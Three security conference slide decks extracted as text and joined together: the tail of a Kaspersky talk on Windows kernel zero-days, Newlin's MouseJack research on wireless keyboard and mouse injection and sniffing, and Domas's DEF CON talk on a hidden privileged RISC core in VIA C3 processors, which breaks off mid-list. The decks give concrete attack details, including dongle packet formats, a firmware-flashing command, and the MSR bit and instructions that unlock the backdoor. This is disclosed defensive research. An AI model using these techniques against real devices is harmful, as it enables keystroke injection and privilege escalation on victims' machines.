我们使用调度程序对象和PreviousMode揭示了一种新技术。 74 结论 Momigari: 最新的Windows操作系统内核在野漏洞概述 Twitter: @antonivanovm Anton Ivanov Kaspersky Lab Twitter: @oct0xor Boris Larin Kaspersky Lab 答疑 ?
pdf
MouseJack: Injecting Keystrokes into Wireless Mice Marc Newlin | [email protected] | @marcnewlin Marc Newlin Security Researcher @ Bastille Networks ((Mouse|Key)Jack|KeySniffer) ● Wireless mice and keyboards ○ 16 vendors ○ proprietary protocols (non-Bluetooth) ○ 4 families of transceivers ● 16 vulnerabilities ○ keystroke sniffing ○ keystroke injection ○ many are unpatchable Types of vulnerabilities ● Keystroke Injection ○ Unencrypted, targeting mice ○ Unencrypted, targeting keyboards ○ Encrypted, targeting keyboards ● Keystroke Sniffing ○ Unencrypted keyboards ● Forced Pairing ○ Logitech Unifying dongles ○ Keyboard disguised as mouse ● Malicious macro programming ○ Delayed keystroke injection ● Denial of service ○ Crash USB dongle firmware ShhhMouse Turns out everybody makes vulnerable devices... Prior Research Thorsten Schroeder and Max Moser (2010) ● “Practical Exploitation of Modern Wireless Devices” (KeyKeriki) ● Research into XOR encrypted Microsoft wireless keyboards Travis Goodspeed (2011) ● “Promiscuity is the nRF24L01+’s Duty” ● Research into nRF24L pseudo-promiscuous mode functionality Samy Kamkar (2015) ● KeySweeper ● Microsoft XOR encrypted wireless keyboard sniffer How do mice and keyboards work? Peripherals send user input to dongle Dongle sends user input to computer An attacker can talk to your dongle... or eavesdrop on your unencrypted keyboard Background and Motivation "Since the displacements of a mouse would not give any useful information to a hacker, the mouse reports are not encrypted." - Logitech (2009) Initial Logitech mouse research ● USRP B210 SDR ● Logitech M510 mouse ● GNU Radio decoder ● Good for passive RX ● USB and CPU latency make two way communications tricky Burning Man to the rescue! (duh) NES controller internals ● Arduino Nano ● DC boost converter ● nRF24L01+ ● vibration motor ● WS2812B LED Logitech mouse hijacking NES controller “Village Adventure” by Marc Newlin IoT Village a Logitech mouse clicker did not like the hax NES Controller v2 (now with more things!) NES controller v2 internals ● Teensy 3.1 ● 5x nRF24L01+ radios ● 1x WS2812B RGB LED ● 500mAh LiPo battery ● microSD card reader ● OLED display OSK attack @ ToorCon ● Windows 8.1/10 ● Deterministically launch split OSK ● Keys are at known offsets from screen corners, assuming default DPI ● Slow, very slow Discovering that first vulnerability ● Logitech Unifying keyboards ● Unencrypted keystroke injection ● Is it really that easy? I’ll take one of each, please... Research Process Gather OSINT and implement SDR decoder ● FCC test reports ○ Frequencies ○ Modulation (sometimes) ● RFIC documentation ○ Physical layer configuration ○ Packet formats ● The Google ○ “How hack mice?” ○ “Why keyboard not encrypt?” ● SDR decoder ○ GNU Radio ○ USRP B210 ○ 2.4GHz ISM band ○ 500kHz, 1MHz, 2MHz GFSK Build out a protocol model 1. Generate some ARFz a. Move the mouse, click some buttons b. Type on the keyboard 2. What data is sent over the air, and when? a. Infer payload structures b. Observe protocol behavior (channel hopping, ACKs, crypto, etc) Look for low hanging fruit ● Wireless mice ○ All tested mice are unencrypted ○ Does it transmit keystrokes? ○ Does it send raw HID data? ● Wireless keyboards ○ Is the keyboard unencrypted? ○ Is it replay vulnerable? Fuzzing (poke it and see what breaks) ● usbmon / wireshark ○ USB sniffing to see what the dongle sends to the host computer ● xinput / magic sysrq ○ Disable xinput processing of target keyboards and mice ○ Disable magic sysrq to avoid those pesky unintended hard reboots ● fuzzer ○ NES controller, and later custom nRF24LU1+ firmware Nordic Semiconductor nRF24L Nordic Semiconductor nRF24L Family ● 2.4GHz GFSK transceivers ● 250kbps, 1Mbps, 2Mbps data rates ● 0-32 byte payloads, 8 or 16 bit CRC ● Vendor defined mouse/keyboard protocols Transceiver 8051 MCU 128-bit AES USB Memory nRF24LE1 Yes Yes No Flash nRF24LE1 OTP Yes Yes No OTP (no firmware updates) nRF24LU1+ Yes Yes Yes Flash nRF24LU1+ OTP Yes Yes Yes OTP (no firmware updates) nRF24L Enhanced Shockburst ● MAC Layer Functionality ○ Automatic ACKs ○ Automatic retransmit Common nRF24L Configuration ● “Standardized” properties ○ 2 Mbps data rate ○ 5 byte address length ○ 2 byte CRC ○ Automatic ACKs ○ Automatic retransmit ● Vendor specific properties ○ RF channels ○ Payload lengths Logitech Unifying Logitech Unifying ● Universal pairing ○ Any mouse or keyboard can pair with any dongle ● Firmware update support ○ Dongles support firmware updates ○ Most mice/keyboards do not ● Transceivers ○ nRF24LU1+ / nRF24LE1 (most common) ○ TI-CC2544 / TI-CC2543 (higher end) ○ All OTA compatible ● Encryption ○ Mice are unencrypted ○ Keyboard multimedia keys are unencrypted ○ Regular keyboard keys are encrypted with 128-bit AES ○ Key generation during pairing ● Some Dell products are really Unifying ○ Dell KM714 ○ Likely others Logitech Unifying Base Packet Format ● 5, 10, and 22 byte payloads ● 1 byte payload checksum Logitech Unifying Addressing ● Lowest octet is device ID ○ Defaults to 07 from the factory ● Device ID increments when you pair a new device ○ Re-pairing a device doesn’t change its ID ● Device ID 00 is reserved for the dongle Logitech Unifying Payload Addressing RF Address Payload Addressing Mode 11:22:33:44:07 (Dongle Address) 00:XX:XX:XX:XX Transmit to the address of a paired mouse and ignore the device index field 11:22:33:44:00 (Mouse Address) 07:XX:XX:XX:XX Transmit payload to the dongle address and use the device index field ACK Payloads (Dongle to Peripheral Cmds) Logitech Unifying ACK Payload Example [16.922] 9D:65:CB:58:4D 0040006E52 // keepalive, 110ms interval [16.923] 9D:65:CB:58:4D // ACK [17.015] 9D:65:CB:58:4D 0040006E52 // keepalive, 110ms interval [17.015] 9D:65:CB:58:4D // ACK [17.108] 9D:65:CB:58:4D 0040006E52 // keepalive, 110ms interval [17.108] 9D:65:CB:58:4D // ACK [17.201] 9D:65:CB:58:4D 0040006E52 // keepalive, 110ms interval [17.201] 9D:65:CB:58:4D // ACK [17.294] 9D:65:CB:58:4D 0040006E52 // keepalive, 110ms interval [17.294] 9D:65:CB:58:4D 00104D0014000000008F // ACK payload; requesting HID++ version [17.302] 9D:65:CB:58:4D 00514D00140405000000000000000000000000000045 // response (HID++ 4.5) [17.302] 9D:65:CB:58:4D // ACK [17.387] 9D:65:CB:58:4D 0040006E52 // keepalive, 110ms interval [17.387] 9D:65:CB:58:4D // ACK Logitech Unifying Dynamic Keepalives ● Keepalives are used to detect poor channel conditions ● Missed a keepalive? Change channels ● Mouse/keyboard dynamically sets keepalive interval ● Short interval when active, long interval when idle Logitech Unifying Keepalives - Example [20.173] 4C:29:9D:C6:09 00:C2:00:00:01:00:00:00:00:3D // mouse movement (implicitly sets keepalive interval to 8ms) [20.181] 4C:29:9D:C6:09 00:4F:00:00:6E:00:00:00:00:43 // no movement after 8ms, set keepalive interval to 110ms [20.189] 4C:29:9D:C6:09 00:C2:00:00:01:00:00:00:00:3D [20.196] 4C:29:9D:C6:09 00:C2:00:00:01:00:00:00:00:3D ... [20.282] 4C:29:9D:C6:09 00:C2:00:00:00:E0:FF:00:00:5F [20.289] 4C:29:9D:C6:09 00:C2:00:00:00:F0:FF:00:00:4F [20.297] 4C:29:9D:C6:09 00:4F:00:00:6E:00:00:00:00:43 // no movement after 8ms, set keepalive interval to 110ms [20.305] 4C:29:9D:C6:09 00:40:00:6E:52 // keepalive at 110ms interval [20.390] 4C:29:9D:C6:09 00:40:00:6E:52 [20.483] 4C:29:9D:C6:09 00:40:00:6E:52 ... [25.377] 4C:29:9D:C6:09 00:40:00:6E:52 [25.470] 4C:29:9D:C6:09 00:40:00:6E:52 [25.563] 4C:29:9D:C6:09 00:4F:00:04:B0:00:00:00:00:FD // after 5 seconds idle, increase keepalive interval to 1200ms [25.571] 4C:29:9D:C6:09 00:40:04:B0:0C // keepalive at 1200ms interval [26.533] 4C:29:9D:C6:09 00:40:04:B0:0C [27.486] 4C:29:9D:C6:09 00:40:04:B0:0C [28.439] 4C:29:9D:C6:09 00:40:04:B0:0C [29.392] 4C:29:9D:C6:09 00:40:04:B0:0C [30.345] 4C:29:9D:C6:09 00:40:04:B0:0C Logitech Unifying Pairing 1. Unifying software tells the dongle to enter pairing mode 2. Dongle listens to pairing requests on address BB:0A:DC:A5:75 3. Dongle times out if pairing doesn’t happen in 30-60 seconds 4. Device type and properties are sent during pairing Logitech Unifying Device Power-on Behavior Vulnerabilities Encrypted Protocols Unencrypted Injection Unencrypted Injection Targeting Keyboard (Logitech Unifying, Dell KM714) Forced Pairing (Logitech Unifying, Dell KM714) Disguise Mouse as Keyboard (Logitech Unifying, Dell KM714) Logitech Response, Round 1 ● Vendor notified on 11-24-2015 ● Public disclosure on 02-23-2016 ● Firmware update released on 02-23-2016 ○ Fixed forced pairing ○ Partially fixed unencrypted keystroke injection ○ Also applies to Dell KM714 Logitech Response, Round 2a ● Vendor notified on 04-27-2016 ● Public disclosure on 07-26-2016 ● Firmware update released on 07-26-2016 ○ Fixed unencrypted keystroke injection ○ Also applies to Dell KM714 Logitech G900 Chaos Spectrum ● “Professional Grade Wireless” gaming mouse ($150!!!) ○ Tuned (and power hungry) version of Unifying ○ Shorter ACK timeouts ○ 8 channels vs. 24 with Unifying ○ No pairing support ○ USB connection to charge or use as a wired mouse ○ TI-CC2544/TI-CC2543 offers more TX power than nRF24L ○ Vulnerable to unencrypted keystroke injection! Logitech G900 Macros ● Keystroke macros are programmed into the mouse ● Macros can be programmed wirelessly, by an attacker ● Timing delays can be inserted between keystrokes Logitech Response, Round 2b ● Vendor notified on 04-27-2016 ● Public disclosure on 07-26-2016 ● Firmware update released on 07-26-2016 ○ Fixed unencrypted keystroke injection (G900 gaming mouse) Unencrypted Injection Targeting Mouse (AmazonBasics, Dell KM632, Lenovo 500, Microsoft) Microsoft Sculpt Ergonomic Mouse Amazon response, round 1 ● Unencrypted keystroke injection into mouse dongle ● Vendor notified on 11-24-2015 ● Public disclosure on 02-23-2016 ● No vendor response Dell response, round 1 ● Unencrypted keystroke injection into mouse dongle ● Vendor notified on 11-24-2015 ● Public disclosure on 02-23-2016 ● Dell fixed the firmware and sent an updated version to test, but firmware updates are not possible on existing devices Lenovo response, round 1 ● Unencrypted keystroke injection into mouse dongle ● Vendor notified on 11-24-2015 ● Public disclosure on 02-23-2016 ● Lenovo fixed the firmware and sent an updated version to test, but firmware updates are not possible on existing devices Microsoft response ● Unencrypted keystroke injection into mouse dongle ● Vendor notified on 11-24-2015 ● Public disclosure on 02-23-2016 ● Microsoft released Windows update on 04-22-2016 ○ Works on client versions of Windows (no server support) ○ Addresses mice, but not mouse/beyboard sets ○ No fix for Linux or OSX ○ No firmware update support DDoS: Dongle Denial of Service (Lenovo Ultraslim, Ultraslim Plus, N700) Encrypted Protocols Encrypted Injection Counter Mode AES Repeated Counters? Give ‘em here! Encrypted Keystroke Packets USB HID Key Up Ciphertext Encrypted Keystroke Injection Devices ● Logitech Unifying keyboards (including Dell KM714) ● Dell KM632 ● Lenovo Ultraslim ● AmazonBasics Wireless Keyboard ● HP Wireless Elite V2 Keyboard Encrypted Keystroke Injection Responses ● Vendor notified on 04-27-2016 ● Public disclosure on 07-26-2016 ● Logitech is working on a fix ● Lenovo is working on a fix ● Dell updated the firmware and set us a fixed unit to verify, but firmware updates are not possible in the field ● No response from Amazon ● No acknowledgement of the vulnerability from HP Unencrypted Protocols Unencrypted Transceivers (KeySniffer) ● MOSART Semiconductor (undocumented) ○ 1Mbps or 375kbps GFSK ○ Single channel ○ No encryption ● Signia SGN6210 (sparsely documented) ○ 1Mbps GFSK ○ Frequency hopping ○ No encryption ● GE/Jasco mystery transceiver (no idea what this thing is) ○ 500kbps GFSK ○ Frequency hopping ○ No encryption Unencrypted Devices - MOSART ● Anker Ultra Slim 2.4GHz Wireless Compact Keyboard ● EagleTec K104 / KS04 2.4 GHz Wireless Combo keyboard ● HP Wireless Classic Desktop wireless keyboard ● Insignia Wireless Keyboard NS-PNC5011 ● Kensington Pro Fit Wireless Keyboard ● RadioShack Slim 2.4GHz Wireless Keyboard ● ShhhMouse Wireless Silent Mouse (injection only) ● HDE Slim Wireless Optical Mouse (injection only) Unencrypted Devices - non-MOSART ● GE/Jasco 98614 Wireless Keyboard and Mouse ● Gigabyte K7600 Wireless Keyboard and Mouse ● Toshiba PA3871U-1ETB Wireless Keyboard Dongle Sync Packets Building Device Discovery Sniffing Multiple Keyboards KeySniffer Vendor Responses ● Anker will exchange vulnerable keyboards for Bluetooth models through 08-30-2016 ● Kensington claims to have a new AES encrypted version of the Pro Fit wireless keyboard ○ I have not seen or tested this device ○ FCC docs don’t show any new keyboards ● Insignia told reporters that its keyboards are encrypted, however the vulnerable model is unencrypted ● GE/Jasco is no longer making wireless keyboards/mice White-label Hardware, White-Label Vulnerabilities Vendor vs OEM: Hewlett-Packard / ACROX HP Wireless Classic Desktop ● Added HP logo ● Modified side button style ACROX KBJ+G1G ● OEM keyboard Vendor vs OEM: AmazonBasics / Chicony AmazonBasics Wireless Keyboard/Mouse ● Added AmazonBasics logos ● Dell KM632 (made by Chicony) has the same vulns as AmazonBasics Chicony WUG1213 ● OEM keyboard/mouse set Vendor vs OEM: RadioShack / Siliten RadioShack Wireless Keyboard ● Added RadioShack logo ● Small styling changes Siliten DK/M-9091RL ● OEM keyboard Attack Hardware CrazyRadio PA and Open Sourced Firmware ● nRF24LU1+ w/ LNA/PA ● 225 meter injection w/ yagi ● Open source hardware ● Part of Crazyflie project ● Bastille Research firmware: ● https://github.com/BastilleResearch/mousejack/ Research Firmware on Logitech Dongles ● Unifying dongles support firmware updates ○ Logitech bootloader doesn’t do signature validation ○ Any firmware image that passes CRC is accepted ● Flash the Bastille Research firmware onto a Logitech dongle: ○ sudo make logitech_install ● Cheap and available ○ ~$10 vs ~$30 for the CrazyRadio PA ○ CrazyRadio PA harder to find after MouseJack release ○ Unifying dongles are widely available Android App ● Device discovery and classification ○ Logitech devices ○ Microsoft devices ● Dongle firmware flashing support ○ CrazyRadio dongles ○ Logitech dongles Demo Time! Questions? Marc Newlin [email protected] @marcnewlin
pdf
{ GOD MODE unlocked: Hardware backdoors in x86 CPUs domas / @xoreaxeaxeax / DEF CON 2018  Christopher Domas  Cyber Security Researcher ./bio disclaimer: The research presented herein was conducted and completed as an independent consultant. None of the research presented herein was conducted under the auspices of my current employer. The views, information and opinions expressed in this presentation and its associated research paper are mine only and do not reflect the views, information or opinions of my current employer. It is perilous to study too deeply the arts of the Enemy, for good or for ill… But such falls and betrayals, alas, have happened before… (Demo)  In the beginning, there was chaos…  … then 30 years ago, we were rescued, by the rings of privilege Ring model Ring model 0 1 2 3 User Kernel  But we dug deeper…  ring -1 : the hypervisor  ring -2 : system management mode  ring -3 : Q35 / AMT / ME Ring model “ The Enemy still lacks one thing to give him strength and knowledge to beat down all resistance, break down the last defenses, and cover all the lands in a second darkness. He lacks the One Ring ” “Additionally, accessing some of the internal control registers can enable the user to bypass security mechanisms, e.g., allowing ring 0 access at ring 3. In addition, these control registers may reveal information that the processor designers wish to keep proprietary. For these reasons, the various x86 processor manufacturers have not publicly documented any description of the address or function of some control MSRs” - US8341419 Patents  VIA C3  point-of-sale  kiosk  ATM  gaming  digital signage  healthcare  digital media  industrial automation  PCs C3  (Image of test systems) C3  Thin client  C3 Nehemiah Core C3  Unable to locate a developer manual  Follow a trail of patent breadcrumbs … Backdoor architecture US8880851 US9043580 “FIG. 3 shows an embodiment of a cache memory. Referring to FIG. 3, in one embodiment, cache memory 320 is a multi-way cache memory. In one embodiment, cache memory 320 comprises multiple physical sections. In one embodiment, cache memory 320 is logically divided into multiple sections. In one embodiment, cache memory 320 includes four cache ways, i.e., cache way 310, cache way 311, cache way 312, and cache way 314. In one embodiment, a processor sequesters one or more cache ways to store or to execute processor microcode.” - US Patent 8,296,528 Backdoor architecture  Following patent breadcrumbs is painful. Backdoor architecture  Follow the patents…  8,880,851  9,292,470  9,317,301  9,043,580  9,141,389  9,146,742 Backdoor architecture  A non-x86 core embedded alongside the x86 core in the C3  “Deeply Embedded Core” (DEC)  Shares segments of pipeline with x86 core  RISC architecture  Pipeline diverges after the fetch phase  Partially shared register file Backdoor architecture  A global configuration register  Exposed to x86 core through a model-specific-register (MSR)  Activates the RISC core  An x86 launch instruction  A new instruction added to the x86 ISA  Once the RISC core is active  Starts a RISC instruction sequence Backdoor architecture  If our assumptions about the deeply embedded core are correct …  … it can be used as a sort of backdoor, able to surreptitiously circumvent all processor security checks. Backdoor architecture  US8341419:  A model-specific-register can be used to circumvent processor security checks  US8880851:  A model-specific-register can be used to activate a new instruction in x86  US8880851:  A launch instruction can be used to switch to a RISC instruction sequence Enabling the backdoor  Find an MSR bit that … enables a new x86 instruction … to activate a RISC core … and bypass protections? Enabling the backdoor  64 bit control registers  Extremely varied  Debugging  Performance monitoring  Cache configuration  Feature configuration  Accessed by address, not by name  Addresses range from 0x00000000 – 0xFFFFFFFF  Accessed with rdmsr and wrmsr instructions Model-specific-registers  Accessible only to ring 0 code!  Or maybe not. We’ll revisit this later. Model-specific-registers “ …the various x86 processor manufacturers have not publicly documented any description of the address or function of some control MSRs. ” - US8341419 Model-specific-registers Model-specific-registers  Undocumented MSRs and MSR bits  Sometimes, genuinely not implemented and reserved for future use  But common to find undocumented bits that have observable effects  Step 1:  Which MSRs are implemented by the processor? Model-specific-registers  Approach:  Set #GP(0) exception handler  Load MSR address  rdmsr  No fault? MSR exists.  Fault? MSR does not exist. Model-specific-registers lidt %[new_idt] movl %[msr], %%ecx rdmsr ; MSR exists _handler: ; MSR does not exist  Results:  1300 MSRs on target processor  Far too many to analyze Model-specific-registers  Step 2:  Which MSRs are unique? Model-specific-registers mov %[_msr], %%ecx mov %%eax, %%dr0 rdtsc movl %%eax, %%ebx rdmsr rdmsr_handler: mov %%eax, %%dr0 rdtsc subl %%ebx, %%eax Model-specific-registers  A side-channel attack  Calculate the access time for all 0x100000000 MSRs Model-specific-registers  Observation:  Functionally different MSRs will have different access times  The ucode backing each MSR is entirely different  Functionally equivalent MSRs will have approximately the same access times  The ucode backing each MSR is roughly equivalent  Differentiate between “like” and “unlike” MSRs  “like” MSRs: adjacent MSRs with equal or functionally related access time Model-specific-registers  Hypothesis:  The global configuration register is unique. It does not have multiple, functionally equivalent versions. Model-specific-registers  With the timing side-channel, we identify 43 functionally unique MSRs, from the 1300 implemented MSRs. Model-specific-registers  43 MSRs to analyze = 2752 bits to check  Goal: identify which bit activates the launch instruction  Upper bound of ~1.3x1036 x86 instructions  Scan 1,000,000,000 / second  ~1.3x1036 / 1010 / 60 / 60 / 24 / 365 = approximately 1 eternity to scan for a new instruction  2752 bits x 1 eternity per scan = 2752 eternities Model-specific-registers  sandsifter  Scans the x86 ISA in about a day  Still can’t run 2752 times. Model-specific-registers  Toggle each of 2752 candidate bits one by one …  But these are configuration bits – many will lock, freeze, panic, reset, …  Need automation Model-specific-registers Model-specific-registers Target Relay Switch Master  Hardwire a relay to the target’s power switch  Toggle MSR bits one by one  Use a second computer to watch for panics, locks, etc.  Toggle the relay when something goes wrong  Record which MSR bits can be set without making the target unstable Model-specific-registers  ~1 week, 100s of automated reboots  Identified which MSR bits can be toggled without visible side effects Model-specific-registers  Toggle all stable MSR bits  Run sandsifter to audit the processor for new instructions Model-specific-registers  (sandsifter demo) Model-specific-registers  Exactly one. 0f3f. The launch instruction  GDB + trial and error:  The launch instruction is effectively a jmp %eax The launch instruction  With 0f3f identified, it is no longer necessary to run complete sandsifter scans  Activate candidate MSR bits one by one, attempt to execute 0f3f  Find MSR 1107, bit 0 activates the launch instruction The global configuration register  We suspect this will unlock the processor, and circumvent all security checks.  We call MSR 1107, bit 0 the god mode bit. The god mode bit  With the god mode bit discovered …  And the launch instruction identified …  How do we execute instructions on the RISC core? The x86 bridge Approach: Execute a RISC instruction, and observe its results US8880851  Patents suggest the pipeline splits after instructions are fetched  So we set the god mode bit, executing the launch instruction, … and … nothing happens.  Processor continues executing x86. No visible change. The x86 bridge  Trial.  Error.  Misery.  Speculate:  Rather than switching decoders, the launch instruction may modify functionality within the x86 decoder The x86 bridge opcode modr/m imm32 imm32 imm32 imm32 x86 Decoder RISC mode? RISC Decoder Pre-decoder Instruction Cache No Yes opcode modr/m imm32 imm32 imm32 imm32 imm32 imm32 imm32 imm32  In this setup, some x86 instruction, if the processor is in RISC mode, can pass a portion of itself onto the RISC processor  Since this instruction joins the two cores, we call it the bridge instruction The x86 bridge  How to find the bridge instruction?  Sufficient to detect that a RISC instruction has been executed The x86 bridge  If the RISC core really provides a privilege circumvention mechanism… then some RISC instruction, executed in ring 3, should be able to corrupt the system  Easy to detect: processor lock, kernel panic, or system reset.  None of these should happen when executing ring 3 x86 instructions The x86 bridge  Use sandsifter  Run in random instruction generation mode  Modify to execute the launch instruction before each x86 instruction  With the right combination of the x86 wrapper instruction, and a corrupting RISC instruction … the processor locks, the kernel panics, or the system resets. The x86 bridge  When this is observed, the last instruction generated is the bridge instruction.  ~ 1 hour fuzzing bound %eax,0x00000000(,%eax,1) The bridge instruction  bound %eax,0x00000000(,%eax,1)  The 32-bit constant in the instruction is the 32-bit RISC instruction sent to the deeply embedded core. The bridge instruction  We know how to execute instructions on the DEC  Now, what do we execute? i.e. what do these instructions even look like? What architecture is this? A deeply embedded instruction set  Assume that the RISC core is some common architecture  Try executing simple instructions from ARM, PowerPC, MIPS, etc.  e.g. ADD R0, R0, #1 A deeply embedded instruction set  Challenge:  RISC core likely has register file inaccessible to the x86 core  No obvious way to check the effects of the RISC instruction  Solution:  It is still possible to rule out architectures  Many instructions sent to the DEC cause a processor lock  (One of the few visible effects)  Execute simple, non-locking instructions for each architecture  If processor locks, rule out that architecture  30 different architectures ruled out for the DEC A deeply embedded instruction set  Dealing with an unknown architecture  Must reverse engineer the format of the instructions for the deeply embedded core  A deeply embedded instruction set (DEIS) A deeply embedded instruction set  Approach:  Execute a RISC instruction, and observe its results  Challenge:  No knowledge of RISC ISA, cannot observe the results on the RISC core  Solution:  Patents suggest that the RISC core and x86 core have a partially shared register file  Should be possible to observe some results of the RISC instruction on the x86 core A deeply embedded instruction set Approach: Execute a RISC instruction, and observe its results US8880851  Toggle the god mode bit (through LKM)  Generate an input state  Registers (GPRs, SPRs, MMX)  Userland buffer  Kernel buffer (through LKM)  Record the input state  Generate a random RISC instruction  Wrap RISC instruction in the x86 bridge instruction  Execute RISC instruction on the DEC by preceding it with the launch instruction  Record the output state  Observe any changes between the input and output state A deeply embedded instruction set movl %[input_eax], %%eax movl %[input_ebx], %%ebx movl %[input_ecx], %%ecx movl %[input_edx], %%edx movl %[input_esi], %%esi movl %[input_edi], %%edi movl %[input_ebp], %%ebp movl %[input_esp], %%esp .byte 0x0f, 0x3f bound %eax,0xa310075b(,%eax,1) movl %%eax, %[output_eax] movl %%ebx, %[output_ebx] movl %%ecx, %[output_ecx] movl %%edx, %[output_edx] movl %%esi, %[output_esi] movl %%edi, %[output_edi] movl %%ebp, %[output_ebp] movl %%esp, %[output_esp] Load a pre-generated system state from memory. Execute the launch insn., followed by the x86 bridge, containing the RISC insn. Save the new system state for offline analysis  Assisted fuzzing:  Identifying arithmetic instructions:  Load initial register state with random values  Identifying memory accesses:  Load initial register state with pointers to either the user land or kernel buffers A deeply embedded instruction set  Challenge:  Unknown instruction set  Accidentally generate instructions causing kernel panics, processor locks, system reboots.  ~20 random RISC instructions before unrecoverable corruption  Then necessary to reboot the target  ~2 minute reboot  Months of fuzzing to collect enough data to reverse engineer the DEIS A deeply embedded instruction set Target 1 Target 0 Target 2 Target 3 … Relay Switch Master KVM  (Image) A deeply embedded instruction set  Solution:  Extend the earlier automated setup  7 target machines, PXE booting from a master  Master assigns fuzzing tasks to agents running on each target  Lets master coordinate the fuzzing workload  Intelligently task workers with high priority or unexplored segments of the instruction space  Targets attached to relays, controlled by the master  When the master stops receiving data from a target  Assume crashed, panicked, reset, locked, etc.  Target is forcefully reset through relay  Fuzzing results collected from each target and aggregated on the master A deeply embedded instruction set  (Demo) A deeply embedded instruction set  (Demo 2) A deeply embedded instruction set  3 weeks  15 gigabytes of logs  2,301,295 state diffs  4000 hours of compute time A deeply embedded instruction set  Extract patterns from the state diffs to identify patterns in the instructions  Automation: the collector A deeply embedded instruction set  collector automatically identifies patterns in state diffs:  word swap  high word copy  low word copy  immediate load  (pre) register to register transfer  (post) register to register transfer  1-, 2-, 4-, 8- byte memory writes  1-, 2-, 4-, 8- byte memory reads  increment by 1, 2, 4, or 8  decrement by 1, 2, 4, or 8  write instruction pointer  1- through 16- bit shifts  relative immediate load  add, subtract, multiply, divide, modulo, xor, binary and, binary or A deeply embedded instruction set ==== sub, 4 ==== 0a1dc726 [ 0000 1010 0001 1101 1100 0111 0010 0110 ]: eax: 0804e289 -> 0804e285 0a3d6720 [ 0000 1010 0011 1101 0110 0111 0010 0000 ]: ecx: 0841fec2 -> 0841febe 0a503e29 [ 0000 1010 0101 0000 0011 1110 0010 1001 ]: edx: 2c9e4a84 -> 2c9e4a80 0a5fb7db [ 0000 1010 0101 1111 1011 0111 1101 1011 ]: edx: 327f8c66 -> 327f8c62 0a7f4460 [ 0000 1010 0111 1111 0100 0100 0110 0000 ]: ebx: b753be82 -> b753be7e 0a90aeb8 [ 0000 1010 1001 0000 1010 1110 1011 1000 ]: esp: 961f6d51 -> 961f6d4d 0ab05498 [ 0000 1010 1011 0000 0101 0100 1001 1000 ]: ebp: 859a7955 -> 859a7951 0abfb48d [ 0000 1010 1011 1111 1011 0100 1000 1101 ]: ebp: d8de0d7b -> d8de0d77 0ad03f09 [ 0000 1010 1101 0000 0011 1111 0000 1001 ]: esi: 0841fec4 -> 0841fec0 0af088c6 [ 0000 1010 1111 0000 1000 1000 1100 0110 ]: edi: 256339e4 -> 256339e0 0affcf92 [ 0000 1010 1111 1111 1100 1111 1001 0010 ]: edi: f4cef2ab -> f4cef2a7 0e1d87be [ 0000 1110 0001 1101 1000 0111 1011 1110 ]: eax: 0804e289 -> 0804e285 0e301f44 [ 0000 1110 0011 0000 0001 1111 0100 0100 ]: ecx: faa1aa22 -> faa1aa1e 0e30753f [ 0000 1110 0011 0000 0111 0101 0011 1111 ]: ecx: 46e4f482 -> 46e4f47e 0e309f8c [ 0000 1110 0011 0000 1001 1111 1000 1100 ]: ecx: 8e9099e9 -> 8e9099e5 0e5ff9f4 [ 0000 1110 0101 1111 1111 1001 1111 0100 ]: edx: b4511f1b -> b4511f17 0e83d850 [ 0000 1110 1000 0011 1101 1000 0101 0000 ]: esp: 3b92e942 -> 3b92e93e 0eb05c9b [ 0000 1110 1011 0000 0101 1100 1001 1011 ]: ebp: 33004709 -> 33004705 0edf3b78 [ 0000 1110 1101 1111 0011 1011 0111 1000 ]: esi: 0841fec4 -> 0841fec0 0effd2ad [ 0000 1110 1111 1111 1101 0010 1010 1101 ]: edi: 989d68db -> 989d68d7 8d2bf748 [ 1000 1101 0010 1011 1111 0111 0100 1000 ]: eax: 0804e289 -> 0804e285 a95053d4 [ 1010 1001 0101 0000 0101 0011 1101 0100 ]: eax: 0804e289 -> 0804e285 df14296d [ 1101 1111 0001 0100 0010 1001 0110 1101 ]: esp: 0841fec7 -> 0841fec3 eb36ae2c [ 1110 1011 0011 0110 1010 1110 0010 1100 ]: esi: 0841fec4 -> 0841fec0 eb71bafc [ 1110 1011 0111 0001 1011 1010 1111 1100 ]: ecx: 0841fec2 -> 0841febe eb72b0d6 [ 1110 1011 0111 0010 1011 0000 1101 0110 ]: edx: 0841fec3 -> 0841febf fd77063c [ 1111 1101 0111 0111 0000 0110 0011 1100 ]: edi: 0841fec5 -> 0841fec1 ff7762d4 [ 1111 1111 0111 0111 0110 0010 1101 0100 ]: edi: 0841fec5 -> 0841fec1 A deeply embedded instruction set  Instructions are then binned based on which diff categories they fell into  A bin is a set of instructions whose categories are identical A deeply embedded instruction set ==== bin: memory write // add, 4 ==== e87262cc [ 1110 1000 0111 0010 0110 0010 1100 1100 ] eab5f409 [ 1110 1010 1011 0101 1111 0100 0000 1001 ] ebb7b489 [ 1110 1011 1011 0111 1011 0100 1000 1001 ] f2169a0a [ 1111 0010 0001 0110 1001 1010 0000 1010 ] f2b7ad29 [ 1111 0010 1011 0111 1010 1101 0010 1001 ] fa12fea8 [ 1111 1010 0001 0010 1111 1110 1010 1000 ] fc74182a [ 1111 1100 0111 0100 0001 1000 0010 1010 ] fc759d01 [ 1111 1100 0111 0101 1001 1101 0000 0001 ] ==== bin: add, 4 ==== 0a580eef [ 0000 1010 0101 1000 0000 1110 1110 1111 ] 0a78884e [ 0000 1010 0111 1000 1000 1000 0100 1110 ] 0a99118a [ 0000 1010 1001 1001 0001 0001 1000 1010 ] 0acb6190 [ 0000 1010 1100 1011 0110 0001 1001 0000 ] 0aeb0a40 [ 0000 1010 1110 1011 0000 1010 0100 0000 ] 0e0b979a [ 0000 1110 0000 1011 1001 0111 1001 1010 ] 0e394d65 [ 0000 1110 0011 1001 0100 1101 0110 0101 ] 0e98e966 [ 0000 1110 1001 1000 1110 1001 0110 0110 ] 0eb8fb64 [ 0000 1110 1011 1000 1111 1011 0110 0100 ] 84d09f36 [ 1000 0100 1101 0000 1001 1111 0011 0110 ] ea16fea8 [ 1110 1010 0001 0110 1111 1110 1010 1000 ] ==== bin: memory write ==== 4c328b03 [ 0100 1100 0011 0010 1000 1011 0000 0011 ] 5d36cf83 [ 0101 1101 0011 0110 1100 1111 1000 0011 ] 5df788af [ 0101 1101 1111 0111 1000 1000 1010 1111 ] 9bf3474d [ 1001 1011 1111 0011 0100 0111 0100 1101 ] 9c15aa0a [ 1001 1100 0001 0101 1010 1010 0000 1010 ] 9ed314c8 [ 1001 1110 1101 0011 0001 0100 1100 1000 ] 9ed39488 [ 1001 1110 1101 0011 1001 0100 1000 1000 ] e297738b [ 1110 0010 1001 0111 0111 0011 1000 1011 ] e2b3338b [ 1110 0010 1011 0011 